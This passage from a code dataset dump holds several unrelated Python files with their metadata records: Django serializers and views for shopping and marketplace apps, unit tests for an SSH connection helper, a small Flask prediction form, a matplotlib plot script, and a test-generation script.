serializers.SerializerMethodField()\n    shopping_mall = serializers.SerializerMethodField()\n    origin_price = serializers.SerializerMethodField()\n    receipt_certify = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Product\n        fields = ['id',\n                  'name',\n                  'thumbnail_image_url',\n                  'price',\n                  'sold',\n                  'is_owner',\n                  'discount_rate',\n                  'shopping_mall',\n                  'origin_price',\n                  'condition',\n                  'receipt_certify'\n                  ]\n\n    @staticmethod\n    def get_receipt_certify(obj):\n        if obj.receipt:\n            return True\n        return False\n\n    @staticmethod\n    def get_shopping_mall(obj):\n        shopping_mall = obj.shopping_mall\n        return ShoppingMallSerializer(shopping_mall).data\n\n    def get_origin_price(self, obj):\n        if not obj.crawl_product_id:\n            return None\n        if CrawlProduct.objects.filter(id=obj.crawl_product_id).exists():\n            origin_price = CrawlProduct.objects.filter(id=obj.crawl_product_id).last().int_price\n        else:\n            return None\n        return origin_price\n\n    def get_price(self, obj):\n        if obj.price:\n            return obj.price\n        return 0\n\n    def get_discount_rate(self, obj):\n        if not obj.crawl_product_id:\n            return None\n        if CrawlProduct.objects.filter(id=obj.crawl_product_id).exists():\n            origin_price = CrawlProduct.objects.filter(id=obj.crawl_product_id).last().int_price\n        else:\n            return None\n        price = obj.price\n        rate = round(abs(origin_price - price) / origin_price, 2) * 100\n        if not origin_price - price > 0:\n            return None\n        return rate\n\n    def get_name(self, obj):\n        if obj.name:\n            return obj.name\n        return '이름 없는 상품'\n\n    def get_sold(self, obj):\n        return obj.status.sold\n\n    @staticmethod\n    def get_thumbnail_image_url(obj):\n        # TODO : filter Crawled image ratio\n        if obj.crawl_product_id:\n            c_product = CrawlProduct.objects.filter(id=obj.crawl_product_id)\n            if c_product.exists():\n                return CrawlProduct.objects.filter(id=obj.crawl_product_id).first().thumbnail_image_url\n\n        if hasattr(obj, 'prodthumbnail'):\n            return obj.prodthumbnail.image_url\n\n        return obj.images.first().image_url\n\n    def get_is_owner(self, obj):\n        user = self.context['request'].user\n        if obj.seller == user:\n            return True\n        return False\n\n\nclass ProductRetrieveSerializer(serializers.ModelSerializer):\n    \"\"\"\n    상품 상세페이지 조회에 사용하는 serializer 입니다.\n    \"\"\"\n    thumbnail_image_url = serializers.SerializerMethodField()\n    # crawl_data = serializers.SerializerMethodField()\n    int_price = serializers.SerializerMethodField()\n    receipt_image_url = serializers.SerializerMethodField()\n    # name = serializers.SerializerMethodField()\n    discount_rate = serializers.SerializerMethodField()\n    is_receipt = serializers.SerializerMethodField()\n    views = serializers.SerializerMethodField()\n    like_count = serializers.SerializerMethodField()\n    is_liked = serializers.SerializerMethodField()\n    sold = serializers.SerializerMethodField()\n\n    images = serializers.SerializerMethodField()\n    crawled_images = serializers.SerializerMethodField()\n\n    first_category = serializers.SerializerMethodField() # category 어떻게 보여줄지?\n    second_category = serializers.SerializerMethodField() # category 어떻게 보여줄지?\n    size = serializers.SerializerMethodField() # size name!\n    color = serializers.SerializerMethodField()\n    size_capture_image = serializers.SerializerMethodField() # 없으면 None\n    purchased_year = serializers.SerializerMethodField()\n    purchased_month = serializers.SerializerMethodField()\n\n    shopping_mall = serializers.SerializerMethodField()\n\n    replies = serializers.SerializerMethodField()\n\n    age = serializers.SerializerMethodField()  # ex: 3 days ago\n\n    delivery_policy = serializers.SerializerMethodField()\n    seller = SimpleUserInfoSerializer()\n\n    # other_seller_products = serializers.SerializerMethodField()  # def 안에 simple product serializer 활용하여 data return\n    # related_products = serializers.SerializerMethodField()  # \"\n\n    class Meta:\n        model = Product\n        fields = ['id',\n                  'possible_upload', # True 이면 보이고, False 이면 dim 처리\n                  'sold',\n                  'is_liked',\n                  'thumbnail_image_url',\n                  'int_price',\n                  'valid_url', #\n                  'age', #\n                  'views', #\n                  'like_count',\n                  # 'crawl_data', #\n                  'is_receipt', #\n                  'shopping_mall',  # 쇼핑몰 로고?\n                  'name', 'price', 'discount_rate', #\n                  'free_delivery',\n                  'content',\n                  'images', #\n                  'crawled_images',\n                  'receipt_image_url', #\n                  'first_category', #\n                  'second_category', #\n                  'size', #\n                  'color',\n                  # 'purchased_year', #\n                  'purchased_year', #\n                  'purchased_month', #\n                  'replies',\n                  'product_url',\n                  'delivery_policy',\n                  'seller',\n                  'size_capture_image',\n                  'condition'\n                  # 'other_seller_products',\n                  # 'related_products'\n                  ]\n\n    @staticmethod\n    def get_thumbnail_image_url(obj):\n        if not obj.crawl_product_id:\n            return obj.images.first().image_url\n        return CrawlProduct.objects.get(id=obj.crawl_product_id).thumbnail_image_url\n\n    @staticmethod\n    def get_valid_url(obj):\n        url = obj.product_url\n        valid_url = check_product_url(url)\n        if valid_url:\n            return True\n        return False\n\n    @staticmethod\n    def get_age(obj):\n        return get_age_fun(obj)\n\n    @staticmethod\n    def get_sold(obj):\n        status = obj.status\n        return status.sold\n\n    @staticmethod\n    def get_views(obj):\n        if hasattr(obj, 'views'):\n            return obj.views.view_counts\n        return 0\n\n    @staticmethod\n    def get_like_count(obj):\n        if obj.liked.exists():\n            return obj.liked.all().count()\n        return 0\n\n    @staticmethod\n    def get_int_price(obj):\n        if obj.crawl_product_id:\n            return CrawlProduct.objects.get(id=obj.crawl_product_id).int_price\n        return None\n\n    # @staticmethod\n    # def get_crawl_data(obj):\n    #     if obj.crawl_product_id:\n    #         serializer = CrawlDataSerializer(CrawlProduct.objects.get(id=obj.crawl_product_id))\n    #     else:\n    #         serializer = TempCrawlDataSerializer(obj)\n    #     return serializer.data\n\n    def get_is_liked(self, obj):\n        user = self.context['request'].user\n        if user.is_anonymous:\n            return False\n        liked = ProductLike.objects.filter(product=obj, user=user)\n        if liked.exists():\n            liked = liked.last()\n            return liked.is_liked\n        return False\n\n    @staticmethod\n    def get_is_receipt(obj):\n        if obj.receipt:\n            return True\n        return False\n\n    @staticmethod\n    def get_discount_rate(obj):\n        if obj.crawl_product_id:\n            if CrawlProduct.objects.filter(id=obj.crawl_product_id).exists():\n                crawl_price = CrawlProduct.objects.filter(id=obj.crawl_product_id).last().int_price\n            else:\n                return None\n            price = obj.price\n            if not price:\n                return None\n            rate = round(abs(crawl_price - price)/crawl_price, 2) * 100\n            if crawl_price - price > 0:\n                return rate\n        return None\n\n    @staticmethod\n    def get_images(obj):\n        if not obj.images.exists():\n            return []\n        images = obj.images.all()\n        return ProductImagesRetrieveSerializer(images, many=True).data\n\n    @staticmethod\n    def get_crawled_images(obj):\n        if not obj.crawl_product_id:\n            return []\n        c_product = CrawlProduct.objects.get(id=obj.crawl_product_id)\n        d_images = CrawlDetailImage.objects.filter(product=c_product)\n\n        if d_images.exclude(detail_image_crop='').exists():\n            crop_image_id = d_images.exclude(detail_image_crop='').values_list('pk', flat=True)\n            # to unify return formats. obj to queryset\n            crop_image = CrawlDetailImage.objects.filter(id__in=crop_image_id)\n            return CrawlProductCropImageRetrieveSerializer(crop_image, many=True).data\n\n        # logic 필요\n        d_image_center_id = int(round(d_images.count() / 2))\n        if d_image_center_id < 4:\n            detail_images = d_images\n        else:\n            detail_images = d_images[d_image_center_id-4:d_image_center_id+4]\n        return CrawlProductImagesRetrieveSerializer(detail_images, many=True).data\n\n    @staticmethod\n    def get_receipt_image_url(obj):\n        if obj.receipt:\n            return obj.receipt.image_url\n        else:\n            return None\n\n    @staticmethod\n    def get_category(obj):\n        if obj.category:\n            f_category_name = obj.category.first_category.name\n            return f_category_name + '>' + obj.category.name\n        return None\n\n    @staticmethod\n    def get_first_category(obj):\n        if obj.category:\n            f_category = obj.category.first_category\n            serializer = FirstCategorySerializer(f_category)\n            return serializer.data\n        return None\n\n    @staticmethod\n    def get_second_category(obj):\n        if obj.category:\n            serializer = SecondCategorySerializer(obj.category)\n            return serializer.data\n        return None\n\n    @staticmethod\n    def get_size(obj):\n        if obj.size:\n            serializer = SizeSerializer(obj.size)\n            return serializer.data\n        return None\n\n    @staticmethod\n    def get_color(obj):\n        if obj.color:\n            return ColorSerializer(obj.color).data\n        return None\n\n    @staticmethod\n    def get_shopping_mall(obj):\n        shopping_mall = obj.shopping_mall\n        return ShoppingMallSerializer(shopping_mall).data\n\n    @staticmethod\n    def get_replies(obj):\n        if obj.questions.exists():\n            question = obj.questions.first()\n            return ProductReplySerializer(question).data\n        return None\n\n    @staticmethod\n    def get_purchased_year(obj):\n        if obj.purchased_time:\n            time = obj.purchased_time\n            year = time.year\n            return year\n        return None\n\n    @staticmethod\n    def get_purchased_month(obj):\n        if obj.purchased_time:\n            time = obj.purchased_time\n            month = time.month\n            return month\n        return None\n\n    @staticmethod\n    def get_delivery_policy(obj):\n        seller = obj.seller\n        if hasattr(seller, 'delivery_policy'):\n            return DeliveryPolicyInfoSerializer(seller.delivery_policy).data\n        return None\n\n    @staticmethod\n    def get_size_capture_image(obj):\n        return None\n\n    # @staticmethod\n    # def get_other_seller_products(obj):\n    #     seller = obj.seller\n    #     other_products = Product.objects.filter(is_active=True, possible_upload=True) \\\n    #                            .select_related('size', 'size__category', 'seller', 'seller__profile') \\\n    #                            .exclude(id=obj.id) \\\n    #                            .filter(seller=seller, status__sold=False) \\\n    #                            .distinct().order_by('?')[:5]\n    #\n    #     if not other_products:\n    #         return []\n    #     return RelatedProductSerializer(other_products, many=True).data\n    #\n    # @staticmethod\n    # def get_related_products(obj):\n    #     second_category = obj.category\n    #     related_products = Product.objects.filter(is_active=True, possible_upload=True, temp_save=False) \\\n    #                            .select_related('size', 'size__category', 'seller', 'seller__profile') \\\n    #                            .exclude(id=obj.id) \\\n    #                            .filter(category=second_category, status__sold=False) \\\n    #                            .distinct().order_by('?')[:5]\n    #     if not related_products:\n    #         return []\n    #     return RelatedProductSerializer(related_products, many=True).data\n\n\nclass RelatedProductSerializer(serializers.ModelSerializer):\n    thumbnail_image_url = serializers.SerializerMethodField()\n    size = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Product\n        fields = ['id', 'thumbnail_image_url', 'size', 'price', 'name']\n\n    @staticmethod\n    def get_thumbnail_image_url(obj):\n        if not obj.crawl_product_id:\n            if hasattr(obj, 'prodthumbnail'):\n                return obj.prodthumbnail.image_url\n            # for develop\n            try:\n                return obj.images.first().image_url\n            except:\n                return test_thumbnail_image_url\n        return CrawlProduct.objects.get(id=obj.crawl_product_id).thumbnail_image_url\n\n    @staticmethod\n    def get_size(obj):\n        return obj.size.size_name\n\n\nclass ProductUploadDetailInfoSerializer(serializers.ModelSerializer):\n    \"\"\"\n    상품 업로드 과정 중 크롤링된 정보 + (option)구매내역 key를 보여주는 serializer 입니다.\n    임시저장 불러올 때는 사용 x\n    \"\"\"\n    crawl_data = serializers.SerializerMethodField()\n    receipt_image_url = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Product\n        fields = ['id',\n                  'crawl_data',\n                  'receipt_image_url',\n                  ]\n\n    @staticmethod\n    def get_receipt_image_url( obj):\n        if obj.receipt:\n            return obj.receipt.image_url\n        else:\n            return None\n\n    @staticmethod\n    def get_crawl_data(obj):\n        if obj.crawl_product_id:\n            serializer = CrawlDataSerializer(CrawlProduct.objects.get(id=obj.crawl_product_id))\n        else:\n            serializer = TempCrawlDataSerializer(obj)\n        return serializer.data\n\n\nclass ProductTempUploadDetailInfoSerializer(serializers.ModelSerializer):\n    \"\"\"\n    아마도 임시저장 불러올 때 사용할 것 같음. UploadDetail과 합쳐서 한번에 쓸 수 있었는데 분리한 이유는\n    임시저장의 경우 업로드 타입에 따라 아마 client에서 action을 다르게 해야 하기 떄문에 일단 구분함\n    * 참고 :name 작성했던게 있으면 name, 없으면 crawl product name (crawl data 안의 product name은 사용 x)\n    \n    ** category, purchased_time 같이 다른 모델 참고하는 필드는 int(id) 주는데 클라에서 어떻게 할 건지 얘기필요\n    \"\"\"\n    receipt_image_url = serializers.SerializerMethodField()\n    name = serializers.SerializerMethodField()\n    crawl_data = serializers.SerializerMethodField()\n    images = serializers.SerializerMethodField()\n    purchased_year = serializers.SerializerMethodField()\n    purchased_month = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Product\n        fields = ['id', 'condition', 'shopping_mall', 'product_url',\n                  'crawl_data',\n                  'receipt_image_url',\n                  'images',\n                  'name',\n                  'price', 'content', 'free_delivery',\n                  'category', 'color', 'size', 'purchased_year', 'purchased_month'\n                  ]\n\n    @staticmethod\n    def get_crawl_data(obj):\n        if obj.crawl_product_id:\n            serializer = CrawlDataSerializer(CrawlProduct.objects.get(id=obj.crawl_product_id))\n        else:\n            serializer = TempCrawlDataSerializer(obj)\n        return serializer.data\n\n    @staticmethod\n    def get_receipt_image_url(obj):\n        if obj.receipt:\n            return obj.receipt.image_url\n        else:\n            return None\n\n    @staticmethod\n    def get_images(obj):\n        if not obj.images.exists():\n            return []\n        images = obj.images.all()\n        return ProductImagesRetrieveSerializer(images, many=True).data\n\n    @staticmethod\n    def get_name(obj):\n        if obj.name:\n            return obj.name\n        if obj.crawl_product_id:\n            return CrawlProduct.objects.get(id=obj.crawl_product_id).product_name\n        return None\n\n    @staticmethod\n    def get_purchased_month(obj):\n        if obj.purchased_time:\n            time = obj.purchased_time\n            month = time.month\n            return month\n        return None\n\n    @staticmethod\n    def get_purchased_year(obj):\n        if obj.purchased_time:\n            time = obj.purchased_time\n            year = time.year\n            return year\n        return None\n\n\nclass ProductSaveSerializer(serializers.ModelSerializer):\n    \"\"\"\n    상품 임시저장 및 최종저장 시 사용하는 serializer 입니다.\n    * purchased time의 경우 purchased_year, purchased_month를 입력받아 서버에서 따로 저장합니다.\n    * category 의 경우 second_category의 id 를 받습니다.\n    \"\"\"\n    class Meta:\n        model = Product\n        fields = ['name', 'price', 'content', 'free_delivery',\n                  'category', 'color', 'size', 'possible_upload',\n                  'temp_save' # view 에서 넘겨줌\n                  ]\n\n    def update(self, obj, validated_data):\n        year = validated_data.pop('purchased_year', None)\n        month = validated_data.pop('purchased_month', None)\n        product = super(ProductSaveSerializer, self).update(obj, validated_data)\n        print(year, month)\n        # purchased time save\n        if year and month:\n            time, _ = PurchasedTime.objects.get_or_create(year=int(year), month=int(month))\n            print(time)\n            product.purchased_time = time\n            product.save()\n\n        return product\n\n\nclass ReceiptSaveSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = PurchasedReceipt\n        fields = ['receipt_image_key']\n\n\nclass ProdThumbnailSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = ProdThumbnail\n        fields = ['thumbnail', ]\n\n\nclass ProductImageSaveSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = ProductImages\n        fields = '__all__'\n\n\nclass ProductImagesRetrieveSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = ProductImages\n        fields = ['image_url', ]\n\n\nclass CrawlProductImagesRetrieveSerializer(serializers.ModelSerializer):\n    image_url = serializers.SerializerMethodField()\n\n    class Meta:\n        model = CrawlDetailImage\n        fields = ['image_url', ]\n\n    def get_image_url(self, obj):\n        return obj.detail_image_url\n\n\nclass CrawlProductCropImageRetrieveSerializer(serializers.ModelSerializer):\n    image_url = serializers.SerializerMethodField()\n\n    class Meta:\n        model = CrawlDetailImage\n        fields = ['image_url', ]\n\n    def get_image_url(self, obj):\n        return obj.detail_image_crop_url\n\n\nclass LikeSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = ProductLike\n        fields = ['is_liked']\n\n\nclass RecentlySearchedKeywordSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = RecentlySearchedKeyword\n        fields = ['id', 'keyword']\n\nclass PopularTempKeywordSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = PopularTempKeyword\n        fields = ['id', 'keyword']\n\n\nclass SearchDefaultSerializer(serializers.Serializer):\n    popular_keywords = serializers.SerializerMethodField()\n    searched_keywords = serializers.SerializerMethodField()\n\n    class Meta:\n        fields = ['popular_keywords', 'searched_keywords']\n\n    def get_popular_keywords(self):\n        qs = PopularTempKeyword.objects.filter(is_active=True)[:3]\n        print(qs)\n        serializer = PopularTempKeywordSerializer(qs, many=True)\n        return serializer.data\n\n    def get_searched_keywords(self):\n        user = self.context['request'].user\n        if user.is_anonymous:\n            return None\n        qs = user.recently_searched_keywords.order_by('-updated_at')\n        serializer = RecentlySearchedKeywordSerializer(qs, many=True)\n        return serializer.data","sub_path":"siiot/products/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":23130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"254848099","text":"import os\n\nfrom mimetypes import guess_type\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.shortcuts import render_to_response, RequestContext, Http404, HttpResponseRedirect, get_object_or_404\nfrom django.template.defaultfilters import slugify\nfrom django.forms.models import modelformset_factory\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q\n\nfrom .models import Product, Category, ProductImage, Comment, Coupon\nfrom .forms import ProductForm, ProductImageForm, CommentForm, CouponForm, ProductImageFormSet\nfrom .helpers import product_url\n# create a list of all products to display it on all products page\ndef list_all(request):\n    title = \"All Products\"\n    products = Product.listing()\n    return _all_products_page(request, locals())\n# search for products and display search results\ndef search_products(request):\n    query = request.GET['query']\n    products = Product.listing().filter(Q(description__icontains=query) | Q(title__icontains=query) | Q(headline__icontains=query) | Q(author__icontains=query) | Q(isbn_number__icontains=query))\n    title = \"Products matching \\\"\" + query + \"\\\"\"\n    return _all_products_page(request, locals())\n# create a list of categories to display products by categories\ndef category(request, slug):\n    category = Category.objects.get(slug=slug)\n    title = \"Products in \\\"\" + category.title + \"\\\"\"\n    products = Product.listing().filter(category=category)\n    return _all_products_page(request, locals())\n# render the all products page with categories, pagination, and sorting by price.\ndef _all_products_page(request, context):\n    categories = Category.objects.all()\n    order = _order(request)\n    page = _paginate(context['products'].order_by(order), request)\n    context.update(locals())\n    return render_to_response(\"products/all.html\",\n                              context,\n                              context_instance=RequestContext(request))\n# create new products\ndef add_product(request):\n    form = ProductForm(request.POST or None, request.FILES or None)\n    image_form = ProductImageForm(request.POST or None, request.FILES or None)\n\n    if form.is_valid() and image_form.is_valid():\n        product = form.save(commit=False)\n        product.user = request.user\n        product.slug = slugify(form.cleaned_data['title'])\n        product.save()\n        image = image_form.save(commit=False)\n        image.product = product\n        image.featured_image = True\n        image.save()\n        return HttpResponseRedirect(product_url(product))\n\n    return render_to_response(\"products/edit.html\", locals(), context_instance=RequestContext(request))\n# manage the product's images\ndef manage_product_image(request, id):\n    product = Product.objects.get(id=id)\n\n    if request.user != product.user:\n        raise Http404\n\n    # this queries the images and ensures that the correct image is selected\n    queryset = ProductImage.objects.filter(product__id=id)\n    formset = ProductImageFormSet(request.POST or None, request.FILES or None, queryset=queryset)\n\n    if request.method == 'POST' and formset.is_valid():\n        images = formset.save(commit=False)\n        for image in images:\n            image.product = product\n            image.save()\n        return HttpResponseRedirect(reverse('manage_product_image', args=[product.id]))\n\n    return render_to_response(\"products/manage_images.html\", locals(), context_instance=RequestContext(request))\n# edit already created products.\ndef edit_product(request, id):\n    instance = Product.objects.get(id=id)\n    # this conditional ensures that only the product owners can edit the product,\n    # any other user trying to access the edit form will be shown a 404 error\n    if request.user != instance.user:\n        raise Http404\n\n    form = ProductForm(request.POST or None, request.FILES or None, instance=instance)\n\n    if request.method == 'POST':\n        try:\n            form.save()\n            messages.success(request, 'Product updated')\n            return HttpResponseRedirect(reverse('listings'))\n        except ValueError:\n            pass\n\n    return render_to_response(\"products/edit.html\", locals(), context_instance=RequestContext(request))\n# view single product listings\ndef single(request, id, slug):\n    product = Product.objects.get(id=id, slug=slug)\n    images = product.productimage_set.all()\n    comment_form = CommentForm(request.POST)\n    comments = Comment.objects.filter(product=product)\n\n    if request.user.is_authenticated():\n        downloadable = request.user.has_purchased(product)\n\n    edit = True\n\n    return render_to_response(\"products/single.html\", locals(), context_instance=RequestContext(request))\n# activate products after creation\ndef activate_product(request, id):\n    product = Product.objects.get(id=id)\n    product.status = Product.ACTIVE\n    product.save()\n    return HttpResponseRedirect(reverse('listings'))\n# diactivate products\ndef deactivate_product(request, id):\n    product = Product.objects.get(id=id)\n    product.status = Product.INACTIVE\n    product.save()\n    return HttpResponseRedirect(reverse('listings'))\n# add comments on single product page\ndef comment(request, id):\n    product = Product.objects.get(id=id)\n    if request.method == 'POST':\n        try:\n            comment = CommentForm(request.POST, instance=Comment(product=product, user=request.user))\n            comment.save()\n        except ValueError: # handle validation errors\n            return render_to_response(\"products/single.html\", locals(), context_instance=RequestContext(request))\n\n    return HttpResponseRedirect(product_url(product))\n# manage coupons associated with a product\ndef manage_coupons(request, id):\n    product = Product.objects.get(id=id)\n\n    if request.user != product.user:\n        raise Http404\n\n    # Products are fill-in at this stage instead just before save(), so that\n    # we can have a validation depending on it (see CouponForm#clean_discount).\n    params = fill_in_product_id(request.POST, product.pk)\n\n    queryset = Coupon.objects.filter(product=product)\n    CouponFormset = modelformset_factory(Coupon, form=CouponForm, can_delete=True)\n    formset = CouponFormset(params or None, queryset=queryset)\n\n    if request.method == 'POST' and formset.is_valid():\n        try:\n            coupons = formset.save(commit=False)\n            for coupon in coupons:\n                # Make sure the user is creating a coupon for her own product.\n                if coupon.product.user != request.user:\n                    return HttpResponseForbidden()\n                coupon.save()\n            return HttpResponseRedirect(reverse('manage_coupons', args=[product.id]))\n        except ValueError: # handle validation errors\n            pass\n\n    return render_to_response(\"products/manage_coupons.html\", locals(), context_instance=RequestContext(request))\n# escrow process: allowing users to mark a bought product as received\ndef mark_as_received(request, id):\n    product = get_object_or_404(Product, id=id)\n\n    # Only the buyer should be able to do that.\n    if product.purchase.user != request.user:\n        return HttpResponseForbidden()\n\n    product.status = Product.RECEIVED\n    product.save()\n\n    return HttpResponseRedirect(reverse('mypurchases'))\n\ndef fill_in_product_id(params, product_id):\n    params = params.copy()\n\n    for i in range(int(params.get('form-MAX_NUM_FORMS', 0))):\n        if params.get('form-%s-discount' % i):\n            params['form-%s-product' % i] = product_id\n        else:\n            break\n\n    return params\n# ability to sort by price\ndef _order(request):\n    order = request.GET.get('order')\n    if order in ['price', '-price']:\n        return order\n    return 'price' # the default sorting order\n# allow users to paginate and set pagination threshold to 15\ndef _paginate(products, request):\n    paginator = Paginator(products, 15)\n\n    page = request.GET.get('page')\n    try:\n        return paginator.page(page)\n    except PageNotAnInteger:\n        # If page is not an integer, deliver first page.\n        return paginator.page(1)\n    except EmptyPage:\n        # If page is out of range (e.g. 9999), deliver last page of results.\n        return paginator.page(paginator.num_pages)\n","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"293340619","text":"import logging\nimport unittest\nimport os\nfrom zensols.hostcon import Connector, AppConfig\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger('zensols.hostcon.test')\n\n\nclass TestConnector(unittest.TestCase):\n    def setUp(self):\n        self.conf = AppConfig('test-resources/test.conf')\n        self.conf2 = AppConfig('test-resources/test2.conf')\n        self.conf_mnt = AppConfig('test-resources/test-mount.conf')\n        self.defparams = {'ssh_switches': '-X -Y',\n                          'host_name': 'host1',\n                          'ssh_port': '20',\n                          'user_name': 'u1'}\n\n    def params(self, to_update):\n        params = self.defparams.copy()\n        params.update(to_update)\n        return params\n\n    def test_domain(self):\n        conn = Connector(self.conf, 'host1.example.com', user_name='u1')\n        params = conn.get_params()\n        update = {'ssh_port': '23', 'host_name': 'host1.example.com'}\n        self.assertEqual(self.params(update), params)\n\n    def test_var_subs(self):\n        conn = Connector(self.conf, 'host3.example.com', user_name='u1')\n        os.environ['HOSTCON_TEST_VAR'] = 'hostcon_test_var'\n        params = conn.get_params()\n        self.assertEqual(self.params({'host_name': 'hostcon_test_var', 'ssh_port': '26'}), params)\n\n    def test_no_domain(self):\n        conn = Connector(self.conf, 'host1', user_name='u1')\n        params = conn.get_params()\n        self.assertEqual(self.params({'ssh_port': '24'}), params)\n\n    def test_domain_no_host(self):\n        conn = Connector(self.conf, 'host-nonexists')\n        params = conn.get_params()\n        ssh_port = params['ssh_port']\n        self.assertEqual('22', ssh_port)\n\n    def test_host_alias(self):\n        conn = Connector(self.conf, 'host2.example.com', user_name='u1')\n        params = conn.get_params()\n        self.assertEqual(self.params({'host_name': 'otherhost', 'ssh_port': '25'}), params)\n\n    def test_user_override(self):\n        conn = Connector(self.conf2, 'host3.example.com', user_name='otheruser')\n        params = conn.get_params()\n        correct = self.params({'user_name': 'otheruser', 'ssh_switches': None})\n        self.assertEqual(correct, params)\n\n    def test_commands(self):\n        conn = Connector(self.conf, 'host2.example.com', user_name='usr')\n        self.assertEqual(['ssh -X -Y -f -p 25 usr@otherhost /usr/bin/xterm'], conn.get_commands('xterm'))\n        self.assertEqual(['ssh -X -Y -f -p 25 usr@otherhost /usr/local/emacs/bin/emacs'], conn.get_commands('emacs'))\n        self.assertEqual(['ssh -X -Y -p 25 usr@otherhost'], conn.get_commands('login'))\n\n    def test_commands_no_alias(self):\n        conn = Connector(self.conf2, 'host2.example.com', user_name='u')\n        self.assertEqual(['ssh -f -p 25 u@otherhost /usr/bin/xterm'], conn.get_commands('xterm'))\n\n    def test_mount_params(self):\n        conn = Connector(self.conf_mnt, 'host1.example.com', user_name='u1')\n        params = conn.get_params()\n        params.update(conn.get_params(section_prefix='m1', command_keys=conn.mount_keys))\n        update = {'remote_mount_point': 'rmp',\n                  'local_mount_point': 'lmp',\n                  'host_name': 'host1.example.com'}\n        self.assertEqual(self.params(update), params)\n\n    def test_mount(self):\n        conn = Connector(self.conf_mnt, 'host2.example.com', user_name='u1')\n        cmds = ['sshfs u1@host2.example.com:rmp lmp -oport=20,mnt_opts,volname=m1',\n                'sshfs u1@host2.example.com:rmp2 lmp2 -oport=20,mnt_opts,volname=m2']\n        self.assertEqual(cmds, conn.get_commands('mount'))\n","sub_path":"test/python/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"600125540","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\nimport os\n\nfrom flask import Flask, redirect, url_for, render_template, request, flash\nfrom load_model import find_if_dropout\n\napp = Flask(__name__)\n@app.route('/')\ndef home():\n    return render_template(\"main.html\")\n\n@app.route('/res', methods = ['GET','POST'])\ndef my_form_post():\n    ar_1 = request.form['income']\n    ar_2 = request.form['disability']\n    ar_3 = request.form['class']\n    ar_4 = request.form['m1']\n    ar_5 = request.form['m2']\n    ar_6 = request.form['m3']\n    ar_7 = request.form['attendence']\n\n    ar = [[ar_1, ar_2, ar_3, ar_4, ar_5, ar_6, ar_7]]\n\n    result = find_if_dropout(*ar)\n    return render_template(\"res.html\", r=result)\n\nif __name__==\"__main__\":\n    app.run(debug=True)\n\n\n\n\n","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"353119083","text":"import matplotlib.pyplot as plt\nimport csv\n\nwith open('results/step2_results_la_republica.csv', 'rt', encoding=\"utf8\") as csvfile:\n    reader = csv.DictReader(csvfile)\n    y_total_news = []\n    x_months = []\n    x_ticks = []     \n    contador = 0  \n    for row in reader:\n        y_total_news.append(float(row['epu_news_rel']))\n        x_months.append(row['date'])  \n        x_ticks.append(contador)  \n        contador += 1\n\n    print (\"genero la grafica \\n\")\n    # y_total_news.sort()\n    plt.plot(x_months , y_total_news)             \n    plt.title('EPU para ' + row['newspaper'])\n    plt.axis([\"10-2011\",\"10-2014\", 0, 0.015])\n    plt.show()","sub_path":"baker/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"589352807","text":"#  -*- coding: utf-8 -*-\r\nimport unittest\r\nfrom Regression_Case import MarkCreate_Automation as Automation_Case\r\nimport sys\r\n\r\nlist = unittest.TestLoader().getTestCaseNames(Automation_Case)\r\ntestCaseParse = sys.argv[1]\r\ndiffstr = ''\r\nchangeLine = '\\r\\n'\r\nfor index in list:\r\n\tif testCaseParse in index:\r\n\t\tstr = \"    def \" + index + \"(self):\" + changeLine\r\n\t\tstr = str + \"        Automation_Case.\" + index + \"(self)\" + changeLine + changeLine\r\n\t\tdiffstr = diffstr + str\r\n\r\n\r\n\r\n# PG_regression_test.py PG_regression_tmp.txt\r\n\r\nwith open('PG_regression_tmp.txt', 'r') as file:\r\n\tfiledata = file.read()\r\n\r\nfiledata = filedata.replace('@@@diff@@@', diffstr)\r\n\r\nwith open('PG_regression_test.py', 'w') as file:\r\n\tfile.write(filedata)\r\n\r\nfile.close()\r\n\r\n","sub_path":"PGTransfer.py","file_name":"PGTransfer.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
